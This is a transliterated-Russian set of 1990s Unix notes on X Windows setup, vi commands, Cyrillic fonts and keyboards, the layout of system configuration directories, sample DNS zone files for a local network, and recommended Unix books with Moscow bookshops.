        "Normal'nye" Unix'y:

1. Ustanovite peremennye okruzheniya:

PATH=/usr/bin/X11:$PATH
XAPPLERESDIR=/usr/lib/X11/app-defaults

2. Zapustite X Windows komandoj

   startx

        "Nenormal'nye" Unix'y (Unixware).

     Kogda  registriruete  pol'zovatelya, otvet'te Yes na vopros
"Hotite graficheskij DeskTop". Togda  posle  login'a  X  Windows
budet  zapuskat'sya avtomaticheski. Esli vy prozevali, i otvetili
No, to nikakim osmyslennym sposobom  zapustit'  X  Windows  dlya
sebya vam ne udastsya.

        &dDNastrojki pol'zovatel'skogo okruzheniya X Windows&d@

     Pri nalichii pol'zovatel'skih nastroechnyh fajlov, lezhashchih v
domashnem kataloge pol'zovatelya, ispol'zuyutsya oni. Esli ih  net,
ispol'zuyutsya   standartnye,   obshchestvennye,  obychno  lezhashchie  v
kataloge /usr/lib/X11 ili /usr/openwin/lib

     Personal'nye  i  obshchestvennye  pol'zovatel'skie  nastrojki
hranyatsya v fajlah:

  $HOME/.Xdefaults
  $HOME/.OWdefaults
  /usr/lib/X11/Xdefaults
  /usr/openwin/lib/Xdefaults
  /usr/openwin/lib/app-defaults/*

Posle lyubyh ispravlenij fajl s resursami neobhodimo perezachitat':"

     xrdb -merge .Xdefaults

     Okruzhenie  (desktop)  -  t.e.  programmy, kotorye startuyut
avtomaticheski pri zapuske X Windows nahoditsya v fajlah:

     Solaris:

  $HOME/.openwin-init
  /usr/openwin/lib/openwin-init

    "Normal'nnye" X windows:

  $HOME/.xinitrc
  /usr/lib/X11/xinit/xinitrc

     Nastrojki   window-manager'a  -  t.e.  -  povedenie  okon,
menyushki pol'zovatelya, raskladka komand na klavishi myshki, ...

     Solaris:

  $HOME/.openwin-menu
  $HOME/.openwin-menu-*

  /usr/openwin/lib/openwin-menu
  /usr/openwin/lib/openwin-menu-*

     Linux

  $HOME/.fvwmrc
  /usr/lib/X11/fvwm/system.fvwmrc

.
        &dDRedaktor VI. Spisok komand&d@
&dDREZHIMY&d@: Vvoda == ESC ====> Komandnyj == :Q ==> Redaktora ed
            ^                  |     ^                |
            +----aAiIcCrRs <---+     +----- vi -------+

        &dD &d@       &dDPEREMESHCHENIE PO FAJLU&d@
{strelki},hjkl
^U/^D   tabulyaciya vverh/vniz
^F/^B   stranicu vniz/vverh
^E/^Y   podvinut'sya na stroku vniz/vverh
w/b/e   vpered/nazad na slovo/v konec slova
W/B/E   vpered/nazad na slovo/v konec oprobelennogo slova
 (/)    nazad/vpered na predlozhenie
 {/}    nazad/vpered na abzac
[[/]]   nazad/vpered na funkciyu ili sekciyu
%       najti parnuyu skobku ( ili {
{n}G    na stroku {n}
{n}|    v kolonku {n}
H/M/L   v nachalo/seredinu/konec ekrana
z/z./z- tekushchuyu stroku v nachalo/seredinu/konec ekrana
^/$/0   nachalo/konec stroki

        &dD &d@       &dDREDAKTIROVANIE TEKSTA&d@
x       unichtozhit' simvol
X       zaboj
J       skleit' stroki

        &dD &d@       &dDV REZHIMY VVODA&d@
a/i / A/I       vstavka za/pered _ / koncom/nachalom stroki
R       rezhim zameny
r       bukva na bukvu
s       bukva na bukvy
o/O     vstavit' stroku pod/nad _
C$      Zamenit' konec stroki

        &dD &d@       &dDINFORMACIYA&d@
^G      o tekushchem fajle i stroke

        &dD &d@       &dDOTKATKA&d@
u       otkatka (odna)
^L/^R   pererisovat'

        &dD &d@       &dDREDAKTIROVANIE V REZHIME VVODA&d@
ESC     vernut'sya v komandnyj rezhim
Zaboj   Zaboj
^W/^U   Ubrat' slovo/Ubrat' stroku
^V      Vstavit' CRTL-simvol[y]

        &dD &d@       &dDOPERATORY S POZICIONIROVANIEM&d@
p/P     vspomnit' fragment za/pered _

{n} ["bukva_bufer] "komanda" {m}"komanda pozicionirovaniya"
  ves' fragment zapominaetsya!    ili povtor komandy dlya stroki
d       unichtozhat' fragment
y       zapominat' frag
c       zamenit' fragment (==> v rezhim vvoda )
&dD<&d@/&dD>&d@     sdvinut' vlevo/vpravo
! komanda       propustit' fragment cherez fil'tr

        &dD &d@       &dDPRIMERY&d@
7yy     zapomnit' 7 strok v neimenovannom bufere
"aAd{   dobavit' k buf a s udaleniem ot _ do nachala abzaca
!G sort otsortirovat' stroki ot kursora i do konca

        &dD &d@       &dD"MAKROKOMANDY"&d@
:map  klavisha_imya_makro telo_makrokomandy  {CR}
:map! klavisha_imya_makro telo_makrokomandy  {CR}  - v rezhime vvoda
:ab   sokrashchenie        sokrashchaemyj_tekst  {CR}  - v rezhime vvoda

        &dD &d@       &dDPOISK&d@
?stroka         iskat' vverh
/stroka         iskat' vniz
n               povtorit' poisk
N               vernut'sya na poslednyuyu najdennuyu stroku

        &dD &d@       &dDPOISK_S_ZAMENOJ&d@
:s/reg_vyrazh/zamena/gc   - global'nyj s podtverzhdeniem
:Q/vi                      vhod / vyhod v rezhim ed
:g/stroka                - postavit' vizual'nyj fil'tr
:+5                        dvizhenie po fajlu

        &dD &d@       &dDREDAKTOR_ED. Vhod ":" (nadolgo "Q") Vyhod "CR" / (VI)&d@
^^      Perejti v al'ternativnoe okno
:[1,$] w [>>] [file]   zapisat' v file [ot 1 do $ stroki]
:q[!]  zakonchit' seans [forsirovanno]
:[15]r [file] ili [!komanda]   vstavit' posle [15] str
:e     redaktirovat' novyj fajl
:n     redaktirovat' sleduyushchij fajl
:sh    vyjti v Shell
:! komanda  zapustit' na vypolnenie Shellom

        &dD &d@       &dDUSTANOVKA REZHIMOV VI&d@
:set nu / nonu   numerovat'/nenumerovat' stroki
:set smd{CR}     pokazyvat' tekushchij rezhim
EXINIT="konfiguracionnye komandy"       - peremennaya okruzheniya
.exrc                           - fajl s komandami konfiguracii
.
        &dDKak podklyuchit' russkie fonty k komp'yuteru s X11&d@

1. Sozdaem katalog cyrfonts. Kopiruem tuda   fajly *.bdf ili *.pcf

   mkdir cyrfonts
   cp *.bdf *.pcf cyrfonts

     Zamechanie: predpochtitel'no dobyt' fonty v formate PCF a ne
BDF  Problema  v  tom,  prilozhenie  zakazyvaet  razmer   fonta,
kotorogo  u  X  ili  FONT-servera  net, to FONT-server pytaetsya
skalirovat' i v sluchae .BDF pogibaet i ubivaet vse, chto pod nim
zapushcheno. Konvertirovat' bdf-fonty mozhno komandoj bdftopcf.

2. V  kataloge   s   fontami   sozdaem  oglavlenie  fontov  dlya
X-server'a : fonts.dir

   cd cyrfonts
   mkfontdir

3. Ukazyvaem X-server'u, chtob on bral fonty iz nashego kataloga

   xset +fp $HOME/cyfonts
   xset fp rehash

4. Pol'zuemsya russkimi fontami.

   xterm -fn koi9x15
   mailtool -fn koi6x10

   i t.d.


        &dDCHtoby russkie fonty vklyuchalis' i nahodilis' po umolchaniyu&d@

5. Do zapuska X-Windows ustanovit' peremennuyu okruzheniya FONTPATH

   Esli u vas Bourne Shell  /bin/sh ili bash ili ksh

FONTPATH=$HOME/cyrfonts:         export FONTPATH

   Esli sud'ba ugorazdila pol'zovat'sya C-Shell  /bin/csh  ili  tcsh

setenv FONTPATH $HOME/cyrfonts:

6. Ili skopirovat' fonty v direktoriyu so standartnymi fontami.

   cp *.bdf /usr/lib/X11/fonts/misc
   cd /usr/lib/X11/fonts/misc
   mkfontdir
   xset fp rehash

7. Esli u vas XFree, to dobavit' strochku v fajl /etc/X11/XF86Config

      FontPath	"/home/yourname/cyrfonts/"

8. Ustanovit' font po umolchaniyu v svoem .Xdefaults  fajle.

   Dobavit' v fajl .Xdefaults takie strochki:

font.name:              koi9x15
icon.font.name:         koi6x10

XTerm*font:             koi6x10
XTerm*VT100*font1:	koi6x10
XTerm*VT100*font2:	koi8x13
XTerm*VT100*font3:	misc16
XTerm*VT100*font4:	misc24
XTerm*VT100*font5:	demos8x14
XTerm*VT100*font6:	demos8x16

emacs.font:	        koi9x15
emacs.default_font:	koi9x15

        &dDEsli u vas SunOs 4.1.1 i, sootvetstvenno, NeWS&d@

Togda   vsya   vysheopisannaya  procedura  ne  srabotaet.  U  NeWS
sovershenno sobstvennyj format fontov.

1. Preobrazuem fonty v format NeWS

convertfont *.bdf

2. Sozdaem oglavlenie dlya NeWS server'a
bldfamily

3. Podklyuchaem fonty v tochnosti, kak v standartnom X11

xset +fp `pwd`     # Dopolnyaem katalog, podklyuchaem fonty.
xset  fp rehash    # CHtob server perezachital katalogi s fontami

vse.

Eshche mozhno v fajl Synonims.list votknut' strochku s aliasami.
Inache fonty budut brat'sya tol'ko po imeni fajlov.

        &dDRedaktirovanie fontov.&d@

Nekotorye komplektty X-Windows imeyut redaktor fontov. On mozhet nazyvat'sya
xfed, fontedit, xfd. Esli u vas takovogo net, poprobujte najti ishodniki.

xfed font.bdf

convertfont -v font    poluchaem   font.vfp
fontedit font.vfp

zatem  convertfont  -b ?? font.vfp   i poluchaem font.ff

        &dDPodklyuchenie russkoj klaviatury v X-Windows&d@

Dostan'te  fajly  s  raskladkoj  klaviatury. (Ih mozhno najti vo
mnogih mestah, v chastnosti zdes'). Vypolnite komandu

   xmodmap   fajl-s-raskladkoj.xmm

Pereklyuchatel' rus/lat - klavisha CapsLock
CHtoby otklyuchit' russkuyu klaviaturu, vypolnitte komandu

   xmodmap   default.xmm

        &dDPodklyuchenie russkoj klaviatury v XFree86&d@



 XF86Config:

 Section Keyboard
 LeftAlt      Meta
 AltGr        ModeShift
 Right_Ctl    ModeLock
 ScrollLock   ScrollLock
 EndSection

Veshaet  pereklyuchatel'  na  pravyj Ctrl, pri etom eshche i lampochka
CapsLock budet zagorat'sya.


        &dDPereklyuchatel' kirilicy v XFree86 3.2.2&d@

V svezhej versii Xfree_3.3.2
pereklyuchatel' kirilicy vstroennyj s razdachi, raskladka jcuken
pereklyuchatel' zadaetsya v /etc/X11/XFconfig

 Section "Keyboard"
 #    XkbDisable
    Protocol        "Standard"
    XkbRules        "xfree86"
    XkbModel        "pc101"
    XkbLayout       "us"
    XkbOptions      "grp:shift_toggle"
 EndSection

 Varianty pereklyuchatelej:
   grp                   Group Shift/Lock behavior
   grp:switch            R-Alt switches group while pressed
   grp:toggle            Right Alt key changes group
   grp:shift_toggle      Both Shift keys together change group
   grp:ctrl_shift_toggle Control+Shift changes group
   grp:ctrl_alt_toggle   Alt+Control changes group

        &dDPodklyuchenie russkoj klaviatury v OpenWindows na SUN&d@

Voz'mite   fajl  s  raskladkoj  dlya  SUNa  (naprimer  u  menya),
pomestite v svoem domashnem  kataloge  pod  imenem  .keytable  i
zapustite openwin. Pereklyuchatel' rus/lat - klavisha pravyj AltGraph

        &dDPodklyuchenie russkoj klaviatury v DT/CDE HP-UX&d@

keymap_ed -i 1101

        &dDCHtob bash vosprinimal russkie bukvy s klaviatury&d@

Vpisat' v $HOME/.inputrc stroki
set meta-flag on
set convert-meta off
set output-meta on

Ili vpisat' v .profile stroki
LC_CTYPE=iso_8859_1  export LC_CTYPE
LC_LOCALE=iso_8859_1 export LC_LOCALE
LESS="-e -r"         export LESS # chtob less pokazyval russkie bukvy

        &dDGde vse lezhit&d@

        Sm. katalog rusifikacii

        &dDEsli chto-to ne poluchilos'.&d@

1. Esli u vas Solaris 2.3, to:

Vo vseh "rodnyh" (kotorye ne X11) Sun'ovskih programmah russkih
bukv ne budet. Kak to: textedit, cmdtool, mailtool

2.  Postav'te  svezhij  Solaris  2.5 ili 2.4. Esli ne mozhete, to
ispol'zujte vmesto nih emacs, xterm, xedit.

3. Ili  razbirajtes'  samostoyatel'no  s  takimi  ponyatiyami  kak
ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on.

hotya vse zhe mozhete poprobovat':

LC_LOCALE=iso_8859_1 export LC_LOCALE
LC_CTYPE=iso_8859_1  export LC_CTYPE
LANG=iso_8859_1      export LANG

        &dDRusifikaciya Netscape&d@

V   Netscape  3  uzhe  realizovan  encoding  koi8-r.  Dostatochno
ustanovit' komplekt fontov koi8-r (zaaliasennye as  iso8859-1),
i  vindovskie,  zaaliasennye  as  Family  (Mswin)-*-iso8859-1 A
zatem vybrat' Document encoding koi8-r  i  postavit'  dlya  nego
russkie fonty.

&dDCHtob otpravlyaemaya pochta uhodila s polem charset=koi8-r&d@

Vstavit' v .Xdefaults strochki:

Netscape*defaultCharset:                koi8-r
Netscape*localeCharset*C:               koi8-r
Netscape*localeCharset*koi8-r:          koi8-r
Netscape*localeCharset*koi8-u:          koi8-r
Netscape*localeCharset*ru:              koi8-r
Netscape*localeCharset*ru_SU:           koi8-r
Netscape*localeCharset*ru_SU.KOI8-R:    koi8-r

        &dDA eshche ya umeyu rusificirovat', no ne napisal instrukcii:&d@

Sistemnaya konsol' Linux - podklyuchenie russkih shriftov na ekrane
i pereklyuchatelya klaviatury na pravyj ALT.

        &dDKirilizaciya Applixware&d@

       Applixware  -  ogromnyj  (140Mb) offisnyj paket pod Unix
(Solaris/AIX/Linux/SCO/...), v kotorom est' vse, chto polagaetsya
-    vordprocessor,    elektronnye    tablicy,    image-editor,
veb-brouzer, html-redaktor, pochtovyj klient i t.d.
       Pol'zovat'sya im ne sobirayus', mne dostatochno Winword-6 v
WABI 2.2b

Kirilizaciyu Applixware opisal Viktor Kolosov 
http://triton.itep.ru/ru/skynet/system.html
>   Prostoj i ochevidnyj sposob dobavleniya TTF-shriftov v Applix-e - cherez menyu,
>   sozhaleniyu, privodit k zametnoj na glaz krivizne bukv pri pechati
>   (dlya TTF). Poetomu tam opisano kak to zhe samoe sdelat' cherez PostScript.

 From: Vasilij Egoshin 

     Po-moemu  na  etoj  stranichke vse slishkom slozhno.  YA proshche
postupil: s pomoshch'yu  Applix'ovskogo  font-installera  prikrutil
vindovskie ttf'y i na etom v principe i vse :) I otobrazhaetsya i
pechataetsya vse na ura. (Prichem obmen s vordom cherez rtf  -  bez
problem).
     Edinstvennoe neudobstvo - ttf'y dolzhny byt' paragrafovskie
- s yunikodnymi rabotat' ne  budet,  t.k.  tam  russkie  simvoly
nachinayutsya s kodov 400 (vrode by).
.
        &dDPutevoditel' po konfiguracionnym fajlam Unix&d@.

        Kornevoj katalog "/"

bin     - katalog naibolee upotrebitel'nyh komand pol'zovatelya.
sbin    - utility sistemnogo administratora
          eto vse, chto u nego budet v odnopol'zovatel'skom rezhime
dev     - "ustrojstva" - special'nye fajly
etc     - mesto dlya konfiguracionnyh fajlov
tmp     - katalog vremennyh fajlov - dlya sistemy i dlya  pol'zo-
          vatelej. CHistitsya pri kazhdoj zagruzke.
lib     - biblioteki  i fajly, ispol'zuemye kompilyatorami, raz-
          delyaemye biblioteki
shlib   - razdelyaemye biblioteki
usr     - strashno govorit', no chego tam tol'ko net
mnt     - "dezhurnyj" katalog, dlya podmontirovaniya
          fajlovyh sistem
var     - izmenyaemye konfiguracionnye i sluzhebnye fajly
home    - zdes' zhivut "usery"
export  - "eksportiruemye" fajly. V chastnosti, soderzhit fajlovye
          sistemy dlya bezdiskovyh klientov, montiruyushchih ih po NFS
proc    - psevdo-fajlovaya sistema otobrazhaet sostoyanie zapushchennyh
          processov
stand   - razdel s zagruzochnymi fajlami (unix, kdebug)
tftpboot  "zagruzchiki" dlya bezdiskovyh klientov
unix    - yadro operacionnoj sistemy. - obyknovennyj vypolnyaemyj
          fajl. Vozmozhno, chto lezhit on ne v /, i nazyvaetsya  po
          drugomu (naprimer vmunix, vmlinuz)
lost+found - katalog, kuda pri remonte fajlovoj sistemy sklady-
          vayutsya fajly, "poteryavshie" svoi imena.

        Katalog /etc  -  mesto dlya konfiguracionnyh fajlov
        --------------------------------------------------
passwd     zdes' opredeleny vse pol'zovateli
shadow     ih paroli (v zakodirovannom vide)
group      gruppy pol'zovatelej
aliases    sinonimy pochtovyh adresov lokal'nyh pol'zovatelej
ftpusers   spisok pol'zovatelej, na kotoryh nel'zya ftp-it'sya
shells     spisok normal'nyh "shell'ov"

issue      fajl,  soderzhimoe  kotorogo  vydaetsya na ekran pered
           priglasheniem k vhodu v sistemu.
motd       fajl, soderzhimoe kotorogo vydaetsya  na  ekran  posle
           priglasheniya k vhodu v sistemu.

ttydefs    parametry terminal'nyh linij

TIMEZONE   fajl  s  informaciej o chasovom poyase, v kotorom
           nahoditsya komp®yuter

uucp       konfiguracionnye fajly sistemy UUCP
mail       konfiguracionnye fajly sistemy mailx/sendmail

vfstab     tablica montiruemyh fajlovyh sistem
dfs/dfstab tablica eksportiruemyh v NFS katalogov
auto_home  karty avtomaticheski montiruemyh katalogov dlya automount
auto_master
format.dat parametry vseh vozmozhnyh diskov

hosts      imena i IP adresa lokal'nyh host'ov
networks   zadaet simvolicheskie imena IP setej
netmasks   net maski IP setej
ethers     ethernet'nye adresa bezdiskovyh klientov
hosts.equiv     spisok host'ov, kotorym pozvoleno delat' u nas rsh
defaultdomain   zadaet NDS domen

resolv.conf     kto sluzhit nam DNS serverom
inetd.conf konfiguracionnyj fajl inetd demona
services   sootvetstvie nomerov TCP portov ih simvolicheskim imenam
named.boot startovaya konfiguraciya servera DNS

inittab    shema raboty processa init.

rc0.d/     katalogi s komandnymi fajlami, kotorye zapuska-
rc2.d/     yut  pri  perehode  na/s sootvetstvuyushchego urovnya
rc3.d/     vypolneniya
init.d/    a etom kataloge lezhat kopii VSEH takih fajlov vmeste

rc0, rc2, rc3   Komandnye fajly, kotorye ih zapuskayut

magic      Tablica s "magicheskimi chislami". Ispol'zuetsya koman-
           doj file dlya opredeleniya tipa binarnogo fajla.
termcap    fajl s opisaniyami terminalov v formate termcap

wtmp       Fajl s informaciej o seansah raboty pol'zovatelej  v
           sisteme. Rekomenduetsya inogda opustoshat' ego.

        Katalog /usr

sadm            - fajly sistemnogo administratora
adm             - nakaplivaemaya  informaciya  o rabote sistemy i
                  pol'zovatelej
bin             - utility
sbin            - utility sistemnogo administratora
ucb/bin         - utility, harakternye dlya BSD Unix

mail            - katalog  pochtovoj  sluzhby.
man             - dokumentaciya sistemy v man formate
tmp             - vremennye fajly. Ochishchaetsya pri zagruzke
include         - include fajly dlya kompilyatora C

lib             - biblioteki  -  sistemnye,   pol'zovatel'skie,
                  razdelyaemye  i  staticheskie,  a tak zhe mnogie
                  sluzhebnye katalogi nachinayutsya otsyuda.
 /usr/lib/acct      utility dlya sbora statistiki
 /usr/lib/terminfo  baza dannyh s opisaniyami  terminalov.
 /usr/lib/lp    katalog sistemy LP spulinga  pechati
 /usr/lib/uucp  katalog sistemy UUCP peresylki fajlov po modemu

spool           - mesto dlya sluzhebnyh vremennyh fajlov
 /usr/spool/lp      katalogi dlya raboty sistemy spulinga pechati
 /usr/spool/cron/crontabs     komandy, vypolnyaemye po raspisaniyu
 /usr/spool/cron/atjobs       postavlennye na vypolnenie
 /usr/spool/uucp              spuling sistemy uucp

/usr/local      - GNU-snyj katalog

/var            - lokal'nye sluzhebnye fajly
 /var/yp/Makefile - konfigurator NIS
 /var/named       - karty opisaniya DNS

.
        &dDPrimer konfiguracionnyh fajlov DNS dlya standalone seti&d@.

Zadacha: skonfigurirovat' DNS-servis v otdel'nostoyashchej lokal'noj
seti.

            domen:           foms.msk.ru
            adresa:          198.8.3.0
            adresa:          198.8.2.0
            DNS server:      server.foms.msk.ru

Dlya etogo nuzhno zapolnit' fajly:

  /etc/named.boot
  /var/named/named.root
  /var/named/127.0.0.0
  /var/named/foms.msk.ru
  /var/named/foms-hosts-spisok
  /var/named/198.8.2.0
  /var/named/198.8.3.0

i zapuskat' pri nachal'noj zagruzke demona /sbin/in.named

Primernoe  soderzhanie  konfiguracionnyh  fajlov privedeno nizhe.
Peredelajte  ih  pod  konkretnuyu   konfiguraciyu   vashej   seti.
Priblizitel'naya  ideologiya  takova:  servis  DNS podderzhivaetsya
demonom  named.  Named  pri  starte  schityvaet  fajl  startovoj
konfiguracii  /etc/named.boot  . V nem ukazyvaetsya, kak zovetsya
nash domen, i v kakih fajlah lezhat opisaniya imen  hostov  nashego
domena  (parametr primary). My dolzhny lokal'no podderzhivat' tri
karty opisanij:

   foms.msk.ru    -  vse hosty nashego domena.
   3.8.198        - "obrashchennaya" karta nashego domena (prosto
                     perevorachivaem nashi IP-adresa zadom napered)
   0.0.127        -  zachem trebuetsya eshche karta nashej "local-network"
                     izvestno tol'ko razrabotchikam DNS, odnako
                     ee tozhe nuzhno opisat'.

   v /etc/named.boot zapisano, v kakih fajlah lezhat opisaniya
    domenov, named ih schityvaet, i nachinaet veshchat' na ves' mir.

;##############
; type     domain                source host/file   backup file
;
directory /var/named
cache      .                     named.root
primary    0.0.127.in-addr.arpa  127.0.0.0
primary    foms.msk.ru           foms.msk.ru
primary    3.8.198.in-addr.arpa  198.8.3.0
primary    2.8.198.in-addr.arpa  198.8.2.0

; Zony, dlya kotoryh my sluzhim rezervnym name-serverom
secondary gatelink.fr          134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## konec fajla ###################################

;##############
; Initial cache data for root domain servers 1-may-98
;;;;Get it from
.                       99999999     NS A.ROOT-SERVERS.NET
.                       99999999     NS B.ROOT-SERVERS.NET
.                       99999999     NS C.ROOT-SERVERS.NET
.                       99999999     NS D.ROOT-SERVERS.NET
.                       99999999     NS E.ROOT-SERVERS.NET
.                       99999999     NS F.ROOT-SERVERS.NET
.                       99999999     NS G.ROOT-SERVERS.NET
.                       99999999     NS H.ROOT-SERVERS.NET
.                       99999999     NS I.ROOT-SERVERS.NET
.                       99999999     NS J.ROOT-SERVERS.NET
.                       99999999     NS K.ROOT-SERVERS.NET
.                       99999999     NS L.ROOT-SERVERS.NET
.                       99999999     NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET      internet address = 198.41.0.4
B.ROOT-SERVERS.NET      internet address = 128.9.0.107
C.ROOT-SERVERS.NET      internet address = 192.33.4.12
D.ROOT-SERVERS.NET      internet address = 128.8.10.90
E.ROOT-SERVERS.NET      internet address = 192.203.230.10
F.ROOT-SERVERS.NET      internet address = 192.5.5.241
G.ROOT-SERVERS.NET      internet address = 192.112.36.4
H.ROOT-SERVERS.NET      internet address = 128.63.2.53
I.ROOT-SERVERS.NET      internet address = 192.36.148.17
J.ROOT-SERVERS.NET      internet address = 198.41.0.10
K.ROOT-SERVERS.NET      internet address = 193.0.14.129
L.ROOT-SERVERS.NET      internet address = 198.32.64.12
M.ROOT-SERVERS.NET      internet address = 202.12.27.33
;############## konec fajla ###################################

;##############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@  IN   SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94061801	; Serial (yymmddxx)
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
   IN   NS	server.foms.msk.ru.
1  IN   PTR	localhost.
;############## konec fajla ###################################

;##############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
@  IN  SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		95031802	; Serial (yymmddxx)
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours

	NS	server.foms.msk.ru.
	NS	ns2.msk.ru.
	MX      0	server.foms.msk.ru.
;	MX	20	mail.msk.ru.
;	MX	30	mailhost.kiae.su.

localhost	A	127.0.0.1

$INCLUDE /var/named/primary/foms-hosts-spisok

;; Esli hotite  otpustit' svoj poddomen   *.develop.foms.msk.ru
;; na vyselki, samostoyatel'no podderzhivat' svoj domen.
;margo.develop	IN	A	193.95.100.4
;develop	IN	NS	margo.develop.foms.msk.ru.
;############## konec fajla ###################################

;##############
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;

; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server    A     198.8.2.1         ; e1x70 ethernet
          A     198.8.3.1         ; m3760 ethernet
          A     193.124.158.33    ; sl0   slip link
          MX	0	mailrelay
          HINFO	Motorola88/110 "SVR4.1/88"
	  WKS   198.8.2.1   UDP ( time domain name )
          WKS   198.8.2.1   TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp	  CNAME server
fedfond	  CNAME server

; Host s20
;
s20	A	198.8.2.20
        MX	0	mailrelay
        MX	20	linux
        HINFO	Besta/31 UNIX-V.3
besta	CNAME	s20

; Host pcat101
;
pcat101	A	198.8.2.101
 	MX	0	mailrelay
 	HINFO	PC486/66DX2 "MSDOS 6.2"
pc101	CNAME	pcat101
guest   CNAME	pcat101

; Host pcat106
;
pcat107	A	198.8.3.107            ; eth0
        A       193.124.158.34         ; sl0 slip link
 	MX      0       pcat107
 	MX	10      mailrelay
 	HINFO	PC486/66DX2 "Linux 1.2.1"
pc107	CNAME	pcat101
linux	CNAME	pcat101
;############## konec fajla ###################################

;##############
@  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94102501        ; Serial
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
	NS	server.foms.msk.ru.

; Reverse-name   [ttl]		PTR	Real-name-dot
;
1	PTR	 server.foms.msk.ru.
20	PTR	    s20.foms.msk.ru.
101	PTR	pcat101.foms.msk.ru.
;############## konec fajla ###################################

;##############
@  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
		94102501        ; Serial
		10800		; Refresh 3 hours
		3600		; Retry   1 hour
		3600000 	; Expire  1000 hours
		86400 )		; Minimum 24 hours
	NS	server.foms.msk.ru.

; Reverse-name  [ttl]   PTR     Real-name-dot
;
1	PTR      server.foms.msk.ru.
106	PTR	pcat106.foms.msk.ru.
107	PTR	pcat107.foms.msk.ru.
;############## konec fajla ###################################
.
        &dDKnizhki pro Unix&d@

     Rekomenduyutsya  lyubye  knigi  v  tverdoj  oblozhke importnyh
avtorov  v  perevode  na  russkij,   OSOBENNO   perevody   knig
izdatel'stva  O'Raily, vse ostal'nye (za redchajshim isklyucheniem)
- ne rekomenduyutsya.  T.e.,  napisannye  sovkami  (ibo  uchebniki
dolzhny    pisat'    professional'nye    prepodavateli,   a   ne
professional'nye programmisty) i v myagkoj oblozhke (estestvenno,
ne schitaya izdatel'stva O'Raily)

     Na russkom est':

        &dDKernigan, Pajk&d@

Kernigan,   Pajk,  nazvanie  pochemu-to  pereveli  kak  "UNIX  -
universal'naya  sreda  programmirovaniya".  Warning!  Pri  nabore
russkogo izdaniya nalyapali OKEAN achipyatok i ashipok v chasti regex
i ne tol'ko.  CHitat' ee  imho  nado  v  parallel'  s  manpages,
otdavaya onym prioritet v stremnyh situaciyah.

 Ne smotrya na eto - otlichnaya knizhka. Mne bylo dazhe interesno ee
 chitat'.

        &dDGot'e&d@

Got'e  "Rukovodstvo  po  operacionnoj  sisteme  UNIX".  Tochnee,
SysV.release-unknown. No tozhe nichego dlya nachala.

        &dDBaurn&d@

Baurn (nazvanie ya zabyl) horoshaya knizhka i troff opisan. Staraya,
iz serii "so strelochkami" iz-va "Mir".

        &dDInmos85&d@

Belyakov  Rabover  Fridman  -- chto-to na temu Inmos85. Interesno
pochitat'.

  No sil'no ustarela. MOZHNO NE CHITATX

        &dDMoris Dzh. Bah. Arhitektura operacionnoj sistemy Unix&d@

Ochen'  tolkovo  i dostupno opisany "potroha" - idei i algoritmy
realizacii yadra. Opisanie Unix iznutri. Napisana na "yazyke C" s
kommentariyami.  Kniga  ves'ma  staraya, no tem ne menee tem, kto
zahochet uznat' bol'she - CHITATX REKOMENDUYU.

Bah  Moris  --  russkij  perevod  ego  knigi hodil v vide 480Kb
arhiva.

        &dD"Mobil'naya oper. sistema"&d@

Belyakov  i  Co. "Mobil'naya oper. sistema" (oranzhevaya knizhechka v
myagkoj oblozhke) -- kompilyaciya iz POSIX  standartov  vremen  ok.
1989g. Malen'kaya takaya, horosha kak spravochnik.

i eshche dovol'no mnogo drugih...

        &dD"UNIX/rukovodstvo sistemnogo administratora"&d@

"UNIX/rukovodstvo sistemnogo administratora", |vi Nemet, Gart
Snajder, Skott Sibas, Trent R.Hent. Kiev, bhv, 1997. 830 str.,
50 tr.

       Ochen',  ochen'  dostojnaya  knizhka. Pomogaet pochti ot vseh
boleznej. Edinstvennoe, chto otsutstvuet - Internet security,  a
VSE ostal'noe est'. OBYAZATELXNO KUPITX.

        &dD"Linux/vvedenie v operacionnuyu sistemu"&d@

Avtora vyyasnyu pozzhe. Kiev, bhv, 1997. 760 str.

     Izdatel'stvo    bhv,    izvestnoe    vyposkom   neskol'kih
vysokoklasnyh knig po Unix, na etot raz napechatalo  otkrovennuyu
halturu.  Original  byl  ves'ma mogosloven i neryashlivo napisan.
Perevod eshche huzhe originala. KATEGORICHESKI NE REKOMENDUYU.

        &dD * Gde kupit' * &d@

&dDIzdatel'stvo BHV"&d@

Za poslednee vremya izdalo neskol'ko ochen' kachestvennyh  perevodnyh knig
po Unix i Internet

"BHV - Moskva" 270-2032

 1. "Dom tehnicheskoj knigi"   Leninskij pr., 40           (095) 137 6019
                                                                    0633*

 2. "Biblio-Globus"           ul. Myasnickaya, 6            (095) 928 8744

 3. "Molodaya Gvardiya"         ul. B. Polyanka, 28          (095) 238 0032
                                                                    5001*

 4. "Centr-Tehnika"           ul. Petrovka, 15            (095) 924 3624

 5. TD "Moskva"               ul. Tverskaya, 8             (095) 229 7355

 6. "Dom knigi"               ul. Novyj Arbat, 8          (095) 203 8242

 7. "Dom pedagogicheskoj       ul. Bol'shaya Dmitrovka,      (095) 229 4392
        knigi"                       7/5

 8. "Mir"                     Leningradskij pr., 78       (095) 152 8282

 9. "Novyj"                   sh. |ntuziastov, 24          (095) 362 0923

 10. "RiS"                    ul. Krasnogo mayaka, 11      (095) 313 8345

 11. "Ridas"                  Novodanilovskaya nab., 9     (095) 954 3044

 12. "Knorus"                 Milyutinskij per., 19/4      (095) 928 6269

